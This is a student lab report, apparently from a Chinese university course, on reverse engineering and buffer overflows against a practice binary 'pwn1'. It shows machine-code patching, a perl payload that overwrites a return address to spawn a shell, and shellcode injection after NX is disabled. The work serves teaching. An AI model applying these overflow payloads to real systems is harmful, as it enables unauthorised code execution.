20242315 2025-2026-1 《网络与系统攻防技术》实验0x11 逆向与Bof基础 实验报告

20242315 2025-2026-1 《网络与系统攻防技术》实验0x11 逆向与Bof基础 实验报告

姓名: 张冠伦(zhangguanlun)
学号: 20242315
实验日期: 2026-10-10
实验环境: Kali Linux(32 位 ELF)、VMware 虚拟机


目录


1. 基础知识

这次实验主要用到下面这些知识,我简单总结一下。

1.1 ELF 文件格式

Linux 下的可执行文件是 ELF 格式,里面有:

  • ELF Header(7f 45 4c 46)
  • Program Header Table
  • Section Header Table
  • .text:代码段,只读可执行
  • .rodata:只读数据
  • .data:已初始化全局变量
  • .bss:未初始化全局变量

1.2 call 指令与 EIP

call 指令的机器码是 e8 加上 4 字节的小端相对偏移。
跳转目标 = 下一条指令地址 + 相对偏移。

例如:

80484b5: e8 d7 ff ff ff   call 8048491 <foo>
80484ba: b8 00 00 00 00   mov $0x0,%eax

d7 ff ff ff 是补码 -0x29,下一条指令地址 0x80484ba 加上 -0x29 就得到 0x8048491。

1.3 小端字节序

x86 是小端模式,0x0804847d 在内存里存成 7d 84 04 08,所以 BOF 覆盖返回地址的时候要写成 \x7d\x84\x04\x08。

1.4 常见汇编指令机器码

指令 机器码
NOP 90
JMP 短跳 EB xx
JMP 近跳 E9 xx xx xx xx
JE/JZ 短跳 74 xx
JE/JZ 近跳 0F 84 xx xx xx xx
JNE/JNZ 短跳 75 xx
JNE/JNZ 近跳 0F 85 xx xx xx xx
CMP eax, imm32 3D xx xx xx xx

1.5 payload 与 shellcode

  • shellcode:一段可注入执行的机器指令,比如 execve("/bin/sh")。
  • payload:攻击输入的整体布局,里面包含填充、返回地址、NOP 滑行区和 shellcode。

2. 实验内容

本次实验对象是 pwn1,一个 32 位 Linux 可执行文件。它有三个函数:main、foo、getShell。

正常流程是 main 调用 foo,foo 回显输入;getShell 会返回一个 Shell,但正常情况下不会被调用。

实验要完成三个任务:

任务 内容 关键方法
任务一 直接修改 pwn1 的机器指令 把 main 中 call foo 改成 call getShell
任务二 利用 foo 的 BOF 漏洞 构造输入覆盖返回地址,触发 getShell
任务三 注入自己构造的 shellcode RNS 布局,运行任意代码

另外还要了解 Bof 攻击的防御技术,比如 Stack Canary、DEP/NX、ASLR 这些。


3. 实验过程

3.1 任务一:直接修改机器指令

(1)准备文件

先把文件复制过来,加上学号,并确认类型。

cd ~/exp0x11
cp ~/Desktop/pwn1 ./pwn1_20242315
cp pwn1_20242315 pwn2_20242315
chmod +x pwn1_20242315 pwn2_20242315
file pwn1_20242315

屏幕截图 2026-09-28 120854

(2)修改前反汇编

objdump -d pwn1_20242315 | grep -A 6 "<main>"

可以看到:

80484b5: e8 d7 ff ff ff   call 8048491 <foo>
80484ba: b8 00 00 00 00   mov $0x0,%eax

(3)用 Python 修改字节

把 e8 d7 ff ff ff 改成 e8 c3 ff ff ff,因为 0x0804847d - 0x80484ba = -0x3d,补码小端是 c3 ff ff ff。

python3 -c "
data = open('pwn1_20242315','rb').read()
data = data.replace(b'\xe8\xd7\xff\xff\xff', b'\xe8\xc3\xff\xff\xff')
open('pwn2_20242315','wb').write(data)
print('替换成功')
"

(4)验证修改结果

objdump -d pwn2_20242315 | grep -A 6 "<main>"

应看到:

80484b5: e8 c3 ff ff ff   call 804847d <getShell>

(5)运行验证

./pwn2_20242315
ls
exit

成功拿到 Shell,ls 能看到文件列表。

屏幕截图 2026-10-10 185932


3.2 任务二:BOF 覆盖返回地址

(1)gdb 确认覆盖位置

gdb pwn1_20242315
r < input_test
info r
quit

input_test 是 40 个字符的测试串。运行后崩溃,eip 是 0x35353535,说明第 33~36 个字符覆盖了返回地址。

image

(2)构造 payload

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_bof_20242315
xxd input_bof_20242315

xxd 显示末尾是 7d84 0408 0a,payload 正确。

屏幕截图 2026-10-10 220529

(3)注入并拿 Shell

(cat input_bof_20242315; cat) | ./pwn1_20242315
ls
exit

成功进入 Shell,ls 列出文件。

image


3.3 任务三:注入 Shellcode

(1)关闭防护

execstack -s pwn1_20242315
execstack -q pwn1_20242315
cat /proc/sys/kernel/randomize_va_space

由于 Kali 里 execstack 已经没了,我用了:

patchelf --set-execstack pwn1_20242315
readelf -l pwn1_20242315 | grep GNU_STACK

确认 GNU_STACK 为 RWE。ASLR 显示为 0。

image

(2)gdb attach 查找真实栈地址

# 终端A启动
(cat input_rns_20242315; cat) | ./pwn1_20242315

# 终端B查找PID并attach
ps -ef | grep pwn1_20242315
gdb
attach PID
break *0x080484ae
continue
info r esp
x/16x $esp

得到 esp = 0xffffcf2c,esp+4 处是 0x90909090(NOP 滑行区)。

image

(3)gdb 中继续执行

continue

输出 process XXXXX is executing new program: /usr/bin/dash,说明 shellcode 成功执行,拿到 Shell。

image

(4)终端直接运行 RNS payload

(cat input_rns_20242315; cat) | ./pwn1_20242315
ls
exit

成功进入 Shell,ls 列出文件。

屏幕截图 2026-10-10 204502

(5)NSR 布局失败记录

(cat input_nsr_20242315; cat) | ./pwn1_20242315

运行后出现 Segmentation fault。

image

gdb 单步定位:

si
...
info r esp

执行到 0x01020304 处崩溃,说明 NSR 布局中返回地址占位无效。

屏幕截图 2026-10-10 223901


4. 问题及解决方案

问题 1: 粘贴命令时带入隐藏字符 ^[[200~,导致 zsh: bad pattern 错误。
解决方案: 改成手动输入命令,不要直接复制粘贴。

问题 2: execstack 命令未找到,Kali 源里已经移除了这个包。
解决方案: 改用 patchelf --set-execstack pwn1_20242315,用 readelf -l 确认 GNU_STACK 为 RWE。

问题 3: 任务三 NSR 布局失败,报 Segmentation fault。
解决方案: 分析原因是 shellcode 放在返回地址前面(低地址),执行到 push %ebx 时 esp 向上增长与代码区重叠,push 覆盖了还没执行的指令。改用 RNS 布局,把 shellcode 放到返回地址后面(高地址),就成功了。

问题 4: 任务三 RNS 布局首次地址不准,报 Cannot access memory。
解决方案: 用 gdb attach 重新获取真实 esp,把返回地址设成 esp+4(NOP 滑行区起始),重新生成 payload 后成功。


5. 学习感悟、思考等

这次实验让我真正搞懂了栈溢出的原理。任务三的 NSR 布局失败后,通过 gdb 单步 si 跟踪到 push %ebx 时 esp 与代码区重叠,才明白为什么 shellcode 要放在返回地址后面。虽然过程比较折腾,但最后成功拿到 shell,对 BOF 攻击和防御技术都有了更深的理解。

通过亲手关闭 Canary、NX、ASLR 这些防护并完成攻击,我认识到这些机制在真实环境里有多重要。一旦防护关闭,攻击者可以轻易劫持程序执行流;而在默认开启防护的系统中,攻击难度会大很多。这让我更加重视安全编码和系统加固。


参考资料

posted @ 2026-10-11 16:57  ttt111111  阅读(10)  评论(0)    收藏  举报